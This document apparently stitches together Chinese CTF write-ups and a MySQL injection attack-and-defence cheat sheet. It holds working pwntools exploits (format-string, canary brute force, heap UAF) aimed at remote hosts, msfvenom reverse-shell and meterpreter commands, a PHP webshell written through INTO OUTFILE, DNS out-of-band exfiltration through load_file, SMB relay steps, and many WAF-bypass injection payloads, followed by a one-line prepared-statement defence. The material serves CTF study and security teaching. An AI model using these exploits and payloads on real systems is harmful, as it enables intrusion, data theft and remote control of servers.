先摸索一下,目前是已经拿到外网隔离的mysql数据库服务器的一个mysql权限的shell。因为外网隔离,所以无法直接下载工具以及反弹shell之类
当然可以看arp表,或者对ip进行存活进行判断。
工具上传还是需要依靠sql注入写入文件。

10.10.10.200存在9000端口,可以php-fpm未授权访问

python fpm.py 10.10.10.200 /usr/share/pear/PEAR.php -c '<?php system("id");?>'

这台是能够访问到外网,所以可以反弹shell回来。进入10.10.10.200服务器!为了方便后面的渗透,上一个msf

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=vpsip LPORT=port -f elf > shell.elf

从前面的拓扑图来看,10段的服务器差不多弄完了,现在向9段进行渗透。

偷偷PS:10.10.10.250和10.10.9.250 是路由器,本来想考一下路由器方面的,可惜模拟器有问题。

run autoroute -s 10.10.9.0

用最近的永恒之蓝扫一发

use auxiliary/scanner/smb/smb_ms17_010

后面差不多就是打进去之后再劫持一下管理员的会话就可以拿到flag。

re

RestoreMe

题目在去调试信息后找到绑定的加密函数反而变得简单。
sub_4028D0和sub_402970分别对两个加密类绑定。
v4->m128i_i32[2] = (__int32)sub_4013C0;第一个加密函数,是对文件的字节全部倒序。
v4->m128i_i32[2] = (__int32)sub_401440;第二个加密函数,是对文件字节横向生成二叉树后翻转二叉树。
sub_401640函数是使用队列将二叉树再横向地复制到数组。最后将数组写入文件。得到加密后的文件。
根据pyc的格式,开头魔数为03 f3 0d 0a发现缺少一字节。补齐后即可反编译得到py脚本。脚本是一个小游戏。得到一个数字序列。
Game部分,将py文件放在C:/Python27/Lib目录下,Game.exe即可运行,Game部分需要满足两个条件:

  1. 是脚本得到的数字序列。
  2. 得到md5是77be496aa517273f850f78f7425c76bb的字符串所需的数字序列。
    sub_403EA0函数将数字序列转为操作数,操作数会改变已知字符串FCSRKMOFYsub_402150计算变化后的字符串的md5。即需要将FCSRKMOFY变化为FROMOFSYC。一个类似python的load和store的操作,数字0和1分别对应两种操作,操作数后加字符数组的索引。再加附加条件v1[47] - v1[45] == 1 && v1[43] - v1[41] == 1 && !v1[48],确定后半段数字序列为08091819。

由两部分得到一个完整的48个数字的序列。
由于满足脚本的数字序列并不唯一,使得该题的解不唯一。

RESon

引用Nu1L的wp

Re100

引用Nu1L的wp

Re150

首先修复一下该程序:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <assert.h>
#include <elf.h>

#define ENTRY 0x08048320
#define FILE_OFF 0x320
#define COUNT 0x432

int main(int argc,char *argv[]){
    Elf32_Ehdr ehdr;
    unsigned char buf[COUNT] = {0};
    assert(argc == 2);

    int fd = open(argv[1],O_RDWR);//打开文件
    assert(fd>0);

    assert(lseek(fd,0,SEEK_SET)!=-1);//读取elf头
    assert(read(fd,&ehdr,sizeof(ehdr)) == sizeof(ehdr));
    ehdr.e_entry = ENTRY;//修改入口地址

    assert(lseek(fd,0,SEEK_SET)!=-1);//回写elf头
    assert(write(fd,&ehdr,sizeof(ehdr)) == sizeof(ehdr));

    //解密
    assert(lseek(fd,FILE_OFF,SEEK_SET)!=-1);//读取被加密的代码
    assert(read(fd,buf,COUNT) == COUNT);
    int i = 0;
    while(i<COUNT){
        buf[i] = (buf[i]^66)<<5 | (buf[i]^66)>>3;
        i++;
    }

    assert(lseek(fd,FILE_OFF,SEEK_SET)!=-1);//写入
    assert(write(fd,buf,COUNT) == COUNT);

    close(fd);

    return 0;
}

然后IDA中去花,分析得到算法

#include <stdio.h>

unsigned char code[]={0x73,0x8D,0xF2,0x4C,0xC7,0xD4,0x7B,0xF7,0x18,0x32,0x71,0xD,0xCF,0xDC,0x67,0x4F,0x7F,0xB,0x6D,0};

int main(void){
    int i = 0;

    while(code[i]){
        code[i] = code[i]^32;
        i++;
    }

    i = 0;
    while(code[i]){
        code[i] = ((code[i]^i)<<(i%8)) |  ((code[i]^i)>>(8 - (i%8)));
        i++;
    }

    printf("%s\n",code);
    return 0;
}

最后得到flag:
SYC{>>Wh06m1>>R0Ot}

白师傅的嘲讽

X语言(类似C语言):

0.主函数:110
1.标识符可用的字符集合:0123456789
2.数字:!@#$%^&*() (对应于数字1234567890)
3.运算符:Q(逻辑与)、W(逻辑或)、A(加)、S(减)、D(乘)、F(除)、G(大于)、H(小于)、J(等于)、K(不等于)、L(赋值)、Z(大于等于)、X(小于等于)、C(自增)、V(自减)、B(左括号)、N(右括号)、取地址(‘)、解引用(~)
4.数据类型:4字节(120)、2字节(911)、1字节(119)、指针(~)、数组(<>)
5.控制语句:判断(||)、循环(//)、continue(??)、break(::)
6.语句集合: 开始(,)、结束(.)
7.函数退出语句:(;;)
8.每条语句的结束:`
9.逗号:-

该程序的目的是让用户写一个“排序程序”。其对应代码如下(下面写的代码是冒泡排序):

120 110BN,
    120 ~00`
    120 ~11`
    120 22`
    120 33`
    120 44`

    11 L )`
    22 L !`
    33 L )`
    44 L )`

    //B 22 H @) N,

        33 L )`
        //B 33 H @) S 22 N,
            11 L 33 D $`
            00 L 11 A $`
            ||B ~11 G ~00 N,
                44 L ~00`
                ~00 L ~11`
                ~11 L 44`
            .
            C33`
        .

        C22`
    .

.


将其发送到服务器,得到flag:
SYC{rm-rf_/*_}

pwn

Escape From Jail

Python的 Jail,过滤是这样的。

filtered    = '\'|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split('|')

通过查看python的builtins,得知可以使用getattr去调用函数。

getattr(os,"system")("/bin/sh")

起shell之后直接读flag就行了。

Just Drink Lemon Water

格式化字符串盲打,先dump bin file,确定got表;之后使用任意地址读漏洞泄露system addr…

但是比赛的时候出题人失误…把pwn100 和pwn300配置到了同一台server…导致libc直接给了的,很多队伍直接用pwn3的libc做的,也有利用其他pwn拖了libc做的。

由于不可控制的外因…虚拟机炸了文件没备份TAT

这里贴一下CNSS ETenal师傅的exp好了

from pwn import *

printf_got = 0x601040

def leak_addr(addr):
    p.recvuntil('[*]Give me your lemon:')
    p.sendline("%7$sABCD" + p64(addr))
    result = p.recvuntil('ABCD')
    result = result[result.find(' : ') + 3:len(result) - 4]
    return result

def align_num(s):
    length = len(s)
    num=8
    while num<length:
        num+=8
    return num-length


p = remote('54.222.255.223' ,50001)
pwn_elf = ELF('/root/syctf/libc')
printf_addr = leak_addr(printf_got) + '\x00\x00'
print (hex(u64(printf_addr)))
libc_base = u64(printf_addr) - pwn_elf.symbols['printf']

context.clear(arch = 'amd64')
target = libc_base + pwn_elf.symbols['system']
printf_addr = libc_base + pwn_elf.symbols['printf']
high_byte = target >> 32
mid_byte = (target >> 16) % 0x10000
low_byte = target % 0x10000

while (mid_byte<low_byte):
    mid_byte+=0x10000

while (high_byte<mid_byte):
    high_byte+=0x10000

print (hex(target),hex(high_byte),hex(mid_byte),hex(low_byte))
payload = ''
payload += '%'+str(low_byte)+'x%10$hn'
payload += '%'+str(mid_byte-low_byte)+'x%11$hn'
payload += 'A'*align_num(payload)
print (len(payload))
payload += p64(printf_got)
payload += p64(printf_got+2)
printf_addr = leak_addr(printf_got) + '\x00\x00'
print (hex(u64(printf_addr)))

#payload = fmtstr_payload(6,{printf_got:target}, write_size='int')
print (payload.encode('hex'),payload)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

Tiny FileShare

漏洞明显,login函数的栈溢出,leave_message函数的格式化字符串。

程序是forkserver的,所以思路很简单,leak canary 或者 crack canary,再使用栈溢出或者fmt直接覆盖返回地值拿到flag。

exp如下:

# -*- coding: utf-8 -*-
#!/usr/bin/env python2
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

LOCAL = False

env = {'LD_PRELOAD':'libc.so.6'}

offset_2_send_flag = 0x6d5

if LOCAL:
    p = process('filename',env=env)
    #p = process('filename',raw=False)
    #this for Windows10 subsystem
else:
    p = remote('54.222.255.223',50002)


def login(usr_name,name='guest'):
    p.recvuntil(name)
    p.sendline('1')
    p.recvuntil('Name:')
    p.sendline(str(usr_name))

def get_file(filename,name='guest'):
    p.recvuntil(guest)
    p.sendline('2')
    p.recvuntil('filename:')
    p.sendline(str(filename))

def leave_msg(msg,name='guest'):
    p.recvuntil(name)
    p.sendline('3')
    p.recvuntil('msg:')
    p.sendline(str(msg))

def crack_canary():
    canary = "\x00"
    while True:
        if len(canary) == 8:
            break
        for item in range(0xff):
            canary_tmp = canary + chr(item)
            try:
                p = remote('127.0.0.1',2333)
                sleep(0.1)
                payload = "A"*0x28
                payload += canary_tmp
                p.sendline('1')
                p.recvuntil('Name:')
                p.send(payload)
                data = p.recv(100,timeout=1)
                if "Login" in data:
                    canary += chr(item)
                    log.info("get:{0}".format(hex(item)))
                    break
                p.close()
            except:
                continue
    raw_input("now,stop")
    log.info("[*] canary:{0}".format(hex(u64(canary))))
    return canary

def main():
    '''
    leave_msg('%26$016lx%30$016lx')
    p.recvuntil('msg:')
    canary = int(p.recvn(16), 16)
    base_addr = int(p.recvn(16), 16)
    '''

    payload = "%28$p"
    leave_msg(payload)
    p.recvuntil('msg:')
    leak = int(p.recvline()[2:],16)
    log.info("leak:{0}".format(hex(leak)))
    send_flag_addr = leak - offset_2_send_flag
    log.info("get flag:{0}".format(hex(send_flag_addr)))
    #canary = 0x0
    canary = 0x5635836ebd5b1d29 
    raw_input('aaa')
    pl = 'A' * 0x28 + p64(canary) + 'BBBBBBBB' + p64(send_flag_addr)
    login(pl)

    p.interactive()

if __name__ == '__main__':
    main()

Notebook

简单的堆的利用,漏洞也挺多的: mark结构体堆溢出、UAF。又因为使用的是malloc,所以释放后的堆信息不清空,使用fastbin就可以信息泄露,然后堆溢出劫持函数指针,完成exploit。

exp如下:

# -*- coding: utf-8 -*-
#!/usr/bin/env python2
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

LOCAL = False

env = {'LD_PRELOAD':'libc.so.6'}

if LOCAL:
    p = process('./pwn3',env=env)
    #p = process('filename',raw=False)
    #this for Windows10 subsystem
else:
    p = remote('54.222.255.223',50003)

atoi_got_plt = 0x602088

def new(size,name,content):
    p.recvuntil('$ ')
    p.sendline('new')
    p.recvuntil('size:')
    p.sendline(str(size))
    p.recvuntil('name:')
    p.sendline(str(name))
    p.recvuntil('content:')
    p.sendline(str(content))

def edit(index,new_name,new_content):   
    p.recvuntil('$ ')
    p.sendline('edit')
    p.recvuntil('index:')
    p.sendline(str(index))
    p.recvuntil('name:')
    p.sendline(str(new_name))
    p.recvuntil('content:')
    p.sendline(str(new_content))

def delete(index):
    p.recvuntil('$ ')
    p.sendline('delete')
    p.recvuntil('index:')
    p.sendline(str(index))

def show(index):
    p.recvuntil('$ ')
    p.sendline('show')
    p.recvuntil('index:')
    p.sendline(str(index))

def mark(note_idx,mark_content):
    p.recvuntil('$ ')
    p.sendline('mark')
    p.recvuntil('mark:')
    p.sendline(str(note_idx))
    p.recvuntil('info:')
    p.sendline(str(mark_content))

def show_mark(mark_idx):
    p.recvuntil('$ ')
    p.sendline('show_mark')
    p.recvuntil('index:')
    p.sendline(str(mark_idx))

def delete_mark(mark_idx):
    p.recvuntil('$ ')
    p.sendline('delete_mark')
    p.recvuntil('index:')
    p.sendline(str(mark_idx))

def edit_mark(mark_idx,new_content):
    p.recvuntil('$ ')
    p.sendline('edit_mark')
    p.recvuntil('index:')
    p.sendline(str(mark_idx))
    p.recvuntil('content:')
    p.send(str(new_content))


def main():

    new(32,'muhe','aaaa') #note 0
    mark(0,'bbbb')        #mark 0
    delete_mark(0)
    new(24,'leak','AAAA') #note 1
    show(1)
    p.recvuntil('AAAA')
    leak = p.recvline()
    heap_addr = u64(leak[4:12].ljust(8,'\x00'))
    show_info_func_addr = u64(leak[12:20].ljust(8,'\x00'))
    base_addr = show_info_func_addr - 0xc43
    log.info("heap_addr:{0}".format(hex(heap_addr)))
    log.info("show_info:{0}".format(hex(show_info_func_addr)))
    log.info("base_addr:{0}".format(hex(base_addr)))
    #now,I get heap addr && base addr ------------ malloc unclear
    free_got_offset = 0x202F38
    free_got = base_addr + free_got_offset

    #now,let's leak func addr ------ heap overflow
    mark(0,'BBBB')       #mark 0
    mark(1,'CCCC')       #mark 1
    edit_mark(0,'A' * 56 + p64(free_got))
    show_mark(1)
    free_addr = u64(p.recvline().strip().ljust(8,'\x00'))
    log.info("free_addr:{0}".format(hex(free_addr)))
    #system_offset = 0x3c780
    system_offset = 0x3d150
    system_addr = free_addr - system_offset
    log.info("system addr:{0}".format(hex(system_addr)))

    raw_input('go')
    #get shell
    new(32,'/bin/sh\0','/bin/sh\0') # note 2
    mark(2,'get shell') #mark 2
    delete_mark(2)
    bin_sh_offset = 0x118
    binsh_addr = heap_addr + bin_sh_offset
    payload = 'B' * 8 + p64(binsh_addr) + p64(system_addr)
    new(24,'AAAA',payload)
    show_mark(2)


    p.interactive()

if __name__ == '__main__':
    main()

MySQL注入攻击与防御

Author:rootclay

本文主要是做一个Mysql的注入总结,对于Mysql来说利用的方式太过于灵活,这里总结了一些主流的一些姿势,如果有好的姿势可以多加交流,文章如果有错也欢迎各位dalao指出:)

[TOC]

注入常用函数与字符

下面几点是注入中经常会用到的语句

  • 控制语句操作(select, case, if(), …)
  • 比较操作(=, like, mod(), …)
  • 字符串的猜解操作(mid(), left(), rpad(), …)
  • 字符串生成操作(0x61, hex(), conv()(使用conv([10-36],10,36)可以实现所有字符的表示))

测试注入

可以用以下语句对一个可能的注入点进行测试

string numeric login
' AND 1 ' OR '1
' ' AND 0 ' OR 1 — –
" AND true " OR "" = "
"" AND false " OR 1 = 1 — –
\ 12 '='
\ 12 'LIKE'
'=0–+
SELECT FROM Users WHERE id = '1''';<br>SELECT 1 FROM Users WHERE 1 = '1'''''''''''''UNION SELECT '2'; SELECT FROM Users WHERE id = 3-2; SELECT * FROM Users WHERE username = 'admin' AND password = '' OR '' = '';

注释符

以下是Mysql中可以用到的注释符:

符号 解释
# Hash注释
/* C语言风格注释
SQL语句注释
;%00 空字节
` 反引号(只能在语句尾使用)

Examples:

SELECT * FROM Users WHERE username = &#39;&#39; OR 1=1 -- -&#39; AND password = &#39;&#39;;
SELECT * FROM Users WHERE id = &#39;&#39; UNION SELECT 1, 2, 3`&#39;;

版本&主机名&用户&库名

版本 主机名 用户 库名
VERSION() @@HOSTNAME user() database()
@@VERSION currentuser() SELECT schemaname FROM informationschema.schemata;
@@GLOBAL.VERSION systemuser() SELECT DISTINCT(db) FROM mysql.db;–
/!mysql版本号/(/!50094eaea/)当数字小于版本号时返回TRUE sessionuser()
SELECT * FROM Users WHERE id = ‘1’ AND MID(VERSION(),1,1) = ‘5’; SELECT CONCATWS(0x3A, user, password) FROM mysql.user WHERE user = ‘root’–

表和字段

确定字段数

ORDER BY

ORDER BY用于判断表中的字段个数

column column
1′ ORDER BY 1–+ True
1′ ORDER BY 2–+ True
1′ ORDER BY 3–+ True
1′ ORDER BY 4–+ False – 字段有三个
-1′ UNION SELECT 1,2,3–+ True

SELECT … INTO

关于SELECT … INTO 的解释可以看这一篇文章SELECT … INTO解释

语句 返回
-1 UNION SELECT 1 INTO @,@,@ The used SELECT statements have a different number of columns
-1 UNION SELECT 1 INTO @,@ The used SELECT statements have a different number of columns
-1 UNION SELECT 1 INTO @ 没有报错就说明只有一列

当出现LIMIT时可以用以下语句:

SELECT username FROM Users limit 1,{INJECTION POINT};
语句 释意
1 INTO @,@,@ The used SELECT statements have a different number of columns
1 INTO @,@ 没有报错就说明只有两列

判断已知表名的字段数

AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
SELECT passwd FROM Users WHERE id = {INJECTION POINT};
语句 释意
1 AND (SELECT * FROM Users) = 1 Operand should contain 3 column(s)说明只有3列

查表名

以下提过几种方式对库中表进行查询

UNION查询 BLIND盲注 ERROR报错
UNION SELECT GROUPCONCAT(tablename) FROM informationschema.tables AND SELECT SUBSTR(tablename,1,1) FROM informationschema.tables > 'A' 1+and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,tablename,0x7e) FROM informationschema.tables where tableschema=database() LIMIT 0,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from informationschema.tables group by x)a)

查列名

以下提过几种方式对表中列进行查询

UNION查询 BLIND盲注 ERROR报错 PROCEDURE ANALYSE
UNION SELECT GROUPCONCAT(columnname) FROM informationschema.columns WHERE tablename = 'tablename' 可以不使用单引号,用16进制 AND SELECT SUBSTR(columnname,1,1) FROM informationschema.columns > 'A' 1+and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,columnname,0x7e) FROM informationschema.columns where tablename=0x61646D696E LIMIT 0,1)) from informationschema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) 1 LIMIT 1,1 PROCEDURE ANALYSE() 获取到第二个字段名

字符串连接

下面的几条语句都可以用以连接字符

字符串连接方式
SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCATWS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUPCONCAT('a', 'd', 'm', 'i', 'n');

条件语句&时间函数

语句 释意
CASE SLEEP() mysql5以上才引入
IF() BENCHMARK() mysql4/5都有
IFNULL() ' – (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) – '
NULLIF() SELECT IF(1=1, sleep(5), false);
SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

其中BENCHMARK函数是指执行某函数的次数,次数多时能够达到与sleep函数相同的效果

文件操作

文件操作权限

在MySQL中,存在一个称为securefilepriv的全局系统变量。 该变量用于限制数据的导入和导出操作,例如SELECT … INTO OUTFILE语句和LOAD_FILE()

  1. 如果securefilepriv变量为空那么直接可以使用函数,如果为null是不能使用
  2. 但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉了

mysql——file

也可使用如下语句查询

语句 是否需需要root 版本支持
SELECT filepriv FROM mysql.user WHERE user = 'username'; 需要root mysql4/5
SELECT grantee, isgrantable FROM informationschema.userprivileges WHERE privilege_type = 'file' AND grantee like '%username%'; 不需要root mysql5

读文件

读文件函数LOAD_FILE()

Examples:

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);

注意点:
1. LOAD_FILE的默认目录@@datadir
2. 文件必须是当前用户可读
3. 读文件最大的为1047552个byte, @@max_allowed_packet可以查看文件读取最大值

写文件

INTO OUTFILE/DUMPFILE

经典写文件例子:

To write a PHP shell:
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';


这两个函数都可以写文件,但是有很大的差别
INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
当我们在UDF提权的场景是需要上传二进制文件等等用OUTFILE函数是不能成功的

网上有很多文章介绍,比如这篇

注意点:
1. INTO OUTFILE不会覆盖文件
2. INTO OUTFILE必须是查询语句的最后一句
3. 路径名是不能编码的,必须使用单引号

带外通道

关于带外通道的注入前段时间国外的大佬已经总结过了,我基本复现了一下,博客有文章,这里简单提一下

什么是带外通道注入?

带外通道攻击主要是利用其他协议或者渠道从服务器提取数据. 它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等.

条件限制

  • 首先不用多说,这些函数是需要绝对路径的
  • 如果securefilepriv变量为空那么直接可以使用函数,如果为null是不能使用
  • 但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉了

DNS注入

select load_file(concat('\\\\',version(),'.rootclay.club\\clay.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));

上面的语句执行的结果我们可以通过wireshark抓包看一下,过滤一下DNS协议即可清晰看到数据出去的样子,如下图

进行DNS注入需要域名解析,自己有的话最好,但是没有的朋友也没事,这里推荐一个网站CEYE可以查看数据

SMB Relay 注入攻击

What is SMB relay

这里简单的描述一下SMB relay这个过程

假设有主机B与A
(1) A向B发起连接请求
(2) B向A发送挑战(一组随机数据,8字节)
(3) A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B
(4) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对前面发往A的挑战进
行标准DES加密
(5) 如果(4)中计算结果与A送过来的响应匹配,A被允许访问B
现在假设一个攻击者C卷入其中
(1) C向B发起连接请求
(2) B向C发送挑战D(一组随机数据)
(3) C等待A向B发起连接请求
(4) 当A向B发起连接请求时,C伪造成B向A发送挑战D
(5) A用源自明文口令的DESKEY对挑战D进行标准DES加密得到响应E,并发往B
(6) C截获到响应E,将它做为针对(2)中挑战D的响应发往B,并声称自己是A
(7) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对挑战D进行标准DES
加密
(8) 如果(7)中计算结果与C送过来的响应匹配,C被允许以A的身份访问B。

攻击流程

关于SMB relay攻击窃取NTML与shell请看这篇文章SMB Relay Demystified and NTLMv2 Pwnage with Python

整理了一下实际操作的步骤如下:
1. 首先生成一个反向shell:
msfvenom -p windows/meterpreter/reversetcp LHOST=攻击机ip LPORT=攻击机监听端口 -f exe > reverseshell.exe
2. 运行smbrelayx,指定被攻击者和生成的反向shell,等待连接。
smbrelayx.py -h 被攻击者ip -e 反向shell文件位置
3. 使用模块multi/handler。侦听攻击机ip,攻击机监听端口
4. 在MySQL Server上运行如下的代码,则会产生shell。相当于访问攻击机的smb服务,但实际上是窃取了mysqlserver的身份
select load
file('\\攻击机ip\aa');

绕过技巧

绕过单引号

语句 解释
SELECT FROM Users WHERE username = 0x61646D696E HEX编码
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) CHAR()函数

大小写绕过

?id=1+UnIoN+SeLecT+1,2,3--

替换绕过

?id=1+UNunionION+SEselectLECT+1,2,3--

注释绕过

?id=1+un/**/ion+se/**/lect+1,2,3--

特殊嵌入绕过

?id=1/*!UnIoN*/SeLecT+1,2,3--

宽字节注入

SQL注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。

MySQL版本号字符

Examples:
UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
  • 这样的查询语句是可以执行的,我理解为类似Python中第一行注释指定解析器一样#!/bin/sh
  • 对于小于或等于版本号的语句就会执行
  • 例如目前的Mysql版本为5.7.17那么/!50717/及其以下的语句即可执行

字符编码绕过

前端时间看到ph师傅的博客是讨论mysql字符编码的文章,大概意思如下,原文在这里
当出现有以下代码时,指设置了字符编码为utf-8,但并不是全部为utf-8,而在具体的转换过程中会出现意外的情况,具体可以看ph师傅的文章

$mysqli->query("set names utf8");

在sql查询中

test.php?username=admin%e4中的%e4会被admin忽略掉而绕过了一些逻辑,还有一些类似于$e4这样的字符如%c2等

绕空格

特殊字符绕过空格

字符 解释
09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space
Example:</p>

<p>'%0AUNION%0CSELECT%A0NULL%20%23

括号绕过空格

字符 解释
28 (
29 )
Example:</p>

<p>UNION(SELECT(column)FROM(table))

and/or后插入字符绕过空格

任意混合+ - ~ !可以达到绕过空格的效果(可以现在本地测试,混合后需要的奇偶数可能不同)

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`=&#39;localhost&#39; and-++-1=1;需要偶数个--

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`=&#39;localhost&#39; and!!~~~~!1=1;需要奇数个!

其实一下的字符都可以测试

字符 释意
20 Space
2B +
2D
7E ~
21 !
40 @

注释符&引号

SELECT DISTINCT(db) FROM mysql.db WHERE `Host`=&#39;localhost&#39; and/**/1=1;
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`=&#39;localhost&#39; and&quot;1=1&quot;;

编码绕过

column column
URL Encoding SELECT %74able%6eame FROM informationschema.tables;
Double URL Encoding SELECT %2574able%256eame FROM informationschema.tables;
Unicode Encoding SELECT %u0074able%u6eame FROM informationschema.tables;

关键字绕过

测试用例information_schema.tables

column column
空格 informationschema . tables
反引号 information</em>schema.tables
特殊符 /!informationschema.tables/
别名 informationschema.partitions,statistics,keycolumnusage,table_constraints

认证绕过

绕过语句:'='

select data from users where name="="
select data from users where flase="
select data from users where 0=0

绕过语句:'-'

select data from users where name=''-''
select data from users where name=0-0
select data from users where 0=0

比如登录的时候需要输入email和passwd,可以这样输入

email=''&password=''

类型转换

' or 1=true
' or 1
select * from users where 'a'='b'='c'
select * from users where ('a'='b')='c'
select * from users where (false)='c'
select * from users where (0)='c'
select * from users where (0)=0
select * from users where true
select * from users

我们还有关于此的漏洞,就以一次CTF的题目来说(源码如下):

&lt;?php
class fiter{
    var $str;
    var $order;

function sql_clean($str){
    if(is_array($str)){
        echo &quot;&lt;script&gt; alert(&#39;not array!!@_@&#39;);parent.location.href=&#39;index.php&#39;; &lt;/script&gt;&quot;;exit;
    }
    $filter = &quot;/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&amp;|&quot;.urldecode(&#39;%09&#39;).&quot;|&quot;.urldecode(&quot;%0a&quot;).&quot;|&quot;.urldecode(&quot;%0b&quot;).&quot;|&quot;.urldecode(&#39;%0c&#39;).&quot;|&quot;.urldecode(&#39;%0d&#39;).&quot;/i&quot;;
    if(preg_match($filter,$str)){
        echo &quot;&lt;script&gt; alert(&#39;illegal character!!@_@&#39;);parent.location.href=&#39;index.php&#39;; &lt;/script&gt;&quot;;exit;
    }else if(strrpos($str,urldecode(&quot;%00&quot;))){
        echo &quot;&lt;script&gt; alert(&#39;illegal character!!@_@&#39;);parent.location.href=&#39;index.php&#39;; &lt;/script&gt;&quot;;exit;
    }
    return $this-&gt;str=$str;
}

function ord_clean($ord){
    $filter = &quot; |bash|perl|nc|java|php|&gt;|&gt;&gt;|wget|ftp|python|sh&quot;;
    if (preg_match(&quot;/&quot;.$filter.&quot;/i&quot;,$ord) == 1){
        return $this-&gt;order = &quot;&quot;;
    }
    return $this-&gt;order = $ord;
}

}

这里过滤了很多关键词了,需要用到类型转换了,这里我们用+号

Payload如下:
uname=aa&#39;+(ascii(mid((passwd)from(1)))&gt;0)+&#39;1
执行的SQL语句如下:
xxxxxx where username = &#39;aa&#39;+(ascii(mid((passwd)from(users)))&gt;0)+&#39;1&#39;
这样就可以开始写脚本跑数据了

除了+号,其他算术操作符号也会发生类型的类型转换,例如MOD,DIV,*,/,%,-,
关于隐式类型转换的文章可以看这里

HTTP参数污染

当我们传入的参数为

http://sqlinjection.com/?par1=val1&amp;par1=val2

进入到不同的Web Server就可能得到不同的结果,这里借鉴一下国外大佬一篇文章的总结,如下:

Web Server Parameter Interpretation Example
ASP.NET/IIS Concatenation by comma par1=val1,val2
ASP/IIS Concatenation by comma par1=val1,val2
PHP/Apache The last param is resulting par1=val2
JSP/Tomcat The first param is resulting par1=val1
Perl/Apache The first param is resulting par1=val1
DBMan Concatenation by two tildes par1=val1~~val2

不同的web server的处理结果截然不同

Query String Apache/2.2.16, PHP/5.3.3 IIS6/ASP
?test[1=2 test_1=2 test[1=2
?test=% test=% test=
?test%00=1 test=1 test=1
?test=1%001 NULL test=1
?test+d=1+2 test_d=1 2 test d=1 2

这里也推荐一篇国外的文章

实战正则过滤绕过

过滤字符 PHP正则代码 原查询语句 现查询语句
and, or preg_match(‘/(and|or)/i’, $id) 1 or 1 = 1,1 and 1 = 1 1 || 1 = 1, 1 && 1 = 1
and, or, union preg_match(‘/(and|or|union)/i’, $id) union select user, password from users 1 || (select user from users where user_id = 1) = ‘admin’
and, or, union, where preg_match(‘/(and|or|union|where)/i’, $id) 1 || (select user from users where user_id = 1) = ‘admin’ 1 || (select user from users limit 1) = ‘admin’
and, or, union, where, limit preg_match(‘/(and|or|union|where|limit)/i’, $id) 1 || (select user from users limit 1) = ‘admin’ 1 || (select user from users group by user_id having user_id = 1) = ‘admin’
and, or, union, where, limit, group by preg_match(‘/(and|or|union|where|limit|group by)/i’, $id) 1 || (select user from users group by user_id having user_id = 1) = ‘admin’ 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
and, or, union, where, limit, group by, select preg_match(‘/(and|or|union|where|limit|group by|select)/i’, $id) 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 1 || 1 = 1 into outfile ‘result.txt’
1 || substr(user,1,1) = ‘a’
and, or, union, where, limit, group by, select, ‘ preg_match(‘/(and|or|union|where|limit|group by|select|\’)/i’, $id) 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 1 || user_id is not null
1 || substr(user,1,1) = 0x61
1 || substr(user,1,1) = unhex(61)
and, or, union, where, limit, group by, select, ‘, hex preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/i’, $id) 1 || substr(user,1,1) = unhex(61) 1 || substr(user,1,1) = lower(conv(11,10,36))
and, or, union, where, limit, group by, select, ‘, hex, substr preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/i’, $id) 1 || substr(user,1,1) = lower(conv(11,10,36)) 1 || lpad(user,7,1)
and, or, union, where, limit, group by, select, ‘, hex, substr, white space preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/i’, $id) 1 || lpad(user,7,1) 1%0b||%0blpad(user,7,1)

防御手段(代码以PHP为例)

像WAF之类防御手段自己无能为力经常打补丁就好,这里主要提一下代码层面的问题
推荐使用下面的方式进行查询:

MYSQLi

$stmt = $db->prepare('update name set name = ? where id = ?');
